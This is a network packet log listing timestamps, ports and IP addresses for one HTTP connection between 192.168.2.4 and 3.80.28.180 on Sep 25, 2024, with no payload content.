Sep 25, 2024 03:51:27.121937037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122018099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122021914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122050047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122081995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122113943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122147083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122159958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122179985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122211933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122253895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122309923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122340918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122342110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122375011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122406960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122438908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122469902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122493982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122502089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122535944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122648954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122668028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122689962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122721910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122754097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122785091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122807026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.122817039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122849941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.122895956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.123069048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.123963118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.123996973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124027967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124058962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124114037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124136925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124161959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124193907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124226093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124257088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124289036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124309063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124340057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124341011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124372005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124406099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124437094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124466896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124466896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124469995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124517918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124550104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124582052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124587059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124587059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124614000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124645948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124677896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124696016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124710083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124742031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124773026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124792099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124804974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124835968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124867916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124871969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124901056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124926090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.124933004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124964952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.124996901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125000954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125031948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125046968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125066042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125097036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125128031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125133991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125159979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125190020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125190973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125222921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125247002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125255108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125288963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125320911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125329971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125353098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125385046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125400066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125418901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125459909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125467062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125499964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125514030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125531912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125562906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125596046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125632048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125663042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125674009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125696898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125727892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125730991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125758886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125791073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125802994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125821114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125853062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125859976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125885963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125917912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125950098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125951052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.125982046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.125991106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126013994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126045942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126077890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126097918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126110077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126141071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126163006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126173019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126205921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126238108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126240015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126269102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.126286983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126368046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126718044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.126888990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.166126013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166158915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166207075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166249037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166295052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166371107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.166476011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166511059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166541100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.166577101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.166651011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.212404013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212445974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212456942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212470055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212491035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212502003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212512016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212524891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212531090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.212625980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.212635040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212728977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212740898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212749958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212762117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212773085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.212822914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.212822914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213005066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213016987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213027954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213038921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213048935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213058949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213071108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213083982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213129997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213221073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213264942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213299036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213310003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213320017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213336945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213347912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213357925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213367939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213378906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213392019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213417053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213445902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213617086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213844061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213855982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213866949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213876963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213887930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213892937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213897943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213907957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213917971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213928938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213938951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213948965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213959932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.213969946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213969946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.213984966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214035034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214035034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214234114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214421034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214432001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214443922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214453936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214463949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214474916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214484930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214490891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214497089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214507103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214512110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214518070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214526892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214534998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214538097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214550018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214600086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214600086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.214973927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214984894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.214994907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215004921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215014935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215024948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215034962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215044975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215054989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215100050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215100050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215492010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215509892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215521097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215531111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215542078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215552092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215563059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215573072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215583086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215590954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215590954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215594053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215604067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215615034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215626001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215636015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215646029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215656042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215662956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215662956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215666056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215677977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215687037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215698957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.215699911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215725899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.215750933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216464043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216526985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216553926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216556072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216584921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216609955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216614962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216644049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216672897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216675043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216702938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216727972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216732979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216761112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216790915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216808081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216819048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216847897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216854095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216876984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216893911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216907024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216934919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216963053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.216974020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.216993093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.217020988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.217021942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.217051983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.217087030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.221570969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.256119013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256174088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256206989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256257057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256280899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.256311893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256345034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256376982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256391048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.256412983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.256537914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.303455114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303519964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303570032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303603888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303627968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.303636074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303668976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303703070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303736925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303785086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303787947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.303817034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303850889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303904057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.303939104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303971052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.303975105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304003954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304086924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304135084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304167032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304198980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304229975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304264069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304279089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304313898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304332972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304347038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304423094 CEST	49730	80	192.168.2.4	3.80.28.180
